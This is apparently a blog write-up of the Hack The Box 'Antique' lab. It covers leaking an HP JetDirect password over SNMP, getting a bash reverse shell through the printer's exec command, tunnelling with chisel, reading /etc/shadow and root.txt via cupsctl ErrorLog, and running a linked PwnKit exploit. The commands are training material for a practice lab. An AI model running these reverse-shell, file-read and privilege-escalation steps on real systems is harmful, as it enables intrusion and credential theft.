htb-antique-nl

Antique is a machine from Hack The Box which focuses on attacking an exposed printer over telnet in order to gain access to the machine. Then we find that Cups is running locally and the version is vulnerable to a Root File Read exploit which allows us to read any file on the system as root. It is a pretty straight forward box, however anyone can easily miss these subtle things. Also, this box covers the importance of being able to understand programming language, whether you are a cybersecurity enthusiast or professional.

First, we run nmap to look for open ports and services with the command sudo nmap -v -sV -sC -oN nmap 10.10.11.107 -p-

 

And we only have port 23 open which is running telnet:

 

Telnet

Let’s try accessing the service with the command telnet 10.10.11.107

 

We are greeted with a message that says HP JetDirect which indicates we are dealing with a printer service. If you didn’t know that, a quick google search can verify that:

 

Trying random passwords doesn’t work in our favor:

 

Since we know we are dealing with a printer, we can google around to see if there are any exploits for this specific printer:

 

And we find this page which talks about different ways to exploit HP JetDirect printers, which is lucky for us. This article covers how to get a JetDirect password over SNMP

Direct Attack

We can confirm that SNMP is running by checking to see if port 161 is open using nmap with the command sudo nmap -v --min-rate 10000 -sU -oN udp_nmap 10.10.11.107

 

And it is! However, the only thing is that the upd scan hangs the machine for a minute before it comes back up:

 

 

So we can try the command that we found on the site. The command being snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

 

And we are given what appears to be some hex output starting after the word BITS. We can use CyberChef to decode the hex:

 

And we get the password of P@ssw0rd@123!!123

Direct Execute

Now that we have our password, we can login to the printer service:

 

We see that we can type ? for the help menu. And the first thing that stands out is the exec options which allows us to execute commands. We can even try the example provided of exec id which shows we are the lp user:

 

So the next thing to do is to try and get a reverse shell. Let us first create a bash script that has a reverse shell one liner of bash -c 'bash -i >& /dev/tcp/<YOUR IP>/<PORT> 0>&1' and then start a local Python3 Server with sudo python3 -m http.server 80

 

Then let’s have netcat ready with nc -lvnp <PORT>

 

And now back in our printer connection we can use wget with exec wget <YOUR IP>/shell.sh -O /tmp/shell.sh

 

And we get a GET request on our Python3 Server:

 

And finally, we can run our bash script with exec bash /tmp/shell.sh

 

And we have a shell:

 

We can upgrade our shell with the following commands:

  1. python3 -c 'import pty;pty.spawn("/bin/bash")' then CTRL+Z to send to background
  2. stty raw -echo; fg then press ENTER twice
  3. export TERM=xterm so that we can clear our window

 

We can find the user flag right where we landed:

 

Privilege Escalation

Doing some basic system enumeration, we find that port 631 is open and running locally with the command ss -lnpt

 

Let’s see what this page is all about, for that we are going to use chisel to establish a tunnel between our machine and the target’s. First, let’s start a chisel server locally with ./chisel server --reverse -p <PORT>

 

Then use wget to download the chisel binary somewhere on the machine, I prefer the /dev/shm directory. Then establish a connection with ./chisel client <YOUR IP>:<PORT> R:631:127.0.0.1:631

on attacker pc

┌─[puck@parrot-lt]─[~/htb/antique]
└──╼ $sudo ./chisel server -p 8000 --reverse
[sudo] password for puck: 
2022/06/03 15:36:39 server: Reverse tunnelling enabled
2022/06/03 15:36:39 server: Fingerprint N01MGLpwtNaMNnlPNrEPO3F33PxN5WZUj4+LJQ/6bMo=
2022/06/03 15:36:39 server: Listening on http://0.0.0.0:8000
2022/06/03 15:36:44 server: session#1: tun: proxy#R:631=>631: Listening
^C┌─[puck@parrot-lt]─[~/htb/antique]

on target

./chisel client 10.10.14.2:8000 R:631:127.0.0.1:631

 

And now we can visit the CUPS by going to 127.0.0.1:631 on our local browser:

 

And we get a CUPS version 1.6.1 which a quick google search will show that it is vulnerable to both Remote Command Execution and a Root File Read vulnerability:

 

Now I could not get the Remote Command Execution to work, mainly due because it was written in Python 1 and the machine has Python3 so it created a lot of issues. Even with the chisel tunnel established. If someone was able to do so, feel free to leave a comment below. So I focused on the Root File Read which can be found here.

Taking a quick look at the description, we see that a member of the lpadmin group can make changes to the cupsd.conf file and specify the Error Log path. Then by visiting the Error Log page on the web interface, since the cupsd daemon is running a root, we can view the file on the Error Log path as plain text.

 

Now this sounds good because are part of the lpadmin, however we can’t edit the cupsd.conf file:

 

However, there is a third link which goes over the source code of this attack which can be found here.

Direct File Read

Now the code is written in Ruby and I am by no means a Ruby coder, however if you are familiar with any programming language, you can still decode and understand most programming languages. The first thing I saw was that the FILE variable was set to /etc/shadow:

 

Then I saw that it checks for the cupsctl binary and assigns it to the variable ctl_path:

 

Which we can check as well with the command which cupsctl

 

Then finally it executes the command as ctl_path ErrorLog=FILE and checks the web interface for the error log:

 

Now if we take a look at our web interface that we have established through chisel, we also see the error log in the Administration tab:

 

Clicking on the View Error Log button takes us right where we need to be:

 

So let’s give it a whirl by just repeating the steps of the Ruby Script. First we can assign the file with the command cupsctl ErrorLog=/etc/shadow

 

And then if we go to our error log page:

 

We can see the /etc/shadow contents which only root should be able to see. So now we can repeat the step and get the root flag with cupsctl ErrorLog=/root/root.txt

 

And there we go:

 

A Direct win 🙂

PwnKit

The Pwnkit vulnerability was released to the public in January 2022 although it was discovered on November 2021. This machine was released in November 2021 so at the time I hadn’t checked for Pwnkit to get root access but this is a unintended way of getting root.

There are 3 things I like to check for:

  1. Kernel version with uname -a and anything earlier than 5.16 is a good sign
  2. Polkit version dpkg -s policykit-1 | grep -i version and anything earlier than 0.105-26ubuntu1.2 is a good sign
  3. If pkexec is installed with which pkexec which we need

 

And everything checks out, there is a exploit written in C and in Python. I’ll use the one written in Python since we don't have GCC installed:

https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py

 

We can just copy the script over to the machine and run it using python3

 

Conclusion

As you can see the machine is pretty straightforward. It does emphasize having the ability to do the proper searches using a Search Engine in order to find the exploits needed. These subtle things can be easily missed even in straightforward machines like these. If you are familiar with CUPS then the cupsctl command would have been a given, but if you weren’t like I was, then this was good practice for some code analysis and recreating the exploit manually. Hope you enjoyed the write up!

Feel free to leave a comment if you have any questions or suggestions 🙂

Designed by Daniel Lopez

.

# id
uid=0(root) gid=7(lp) groups=7(lp),19(lpadmin)
# hostname
antique
# crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h dom mon dow command
@reboot python3 /root/snmp-server.py -c /root/config.py
@reboot /usr/sbin/cupsd -c /etc/cups/cupsd.conf
@reboot sudo -u lp authbind --deep python3 /var/spool/lpd/telnet.py
#

.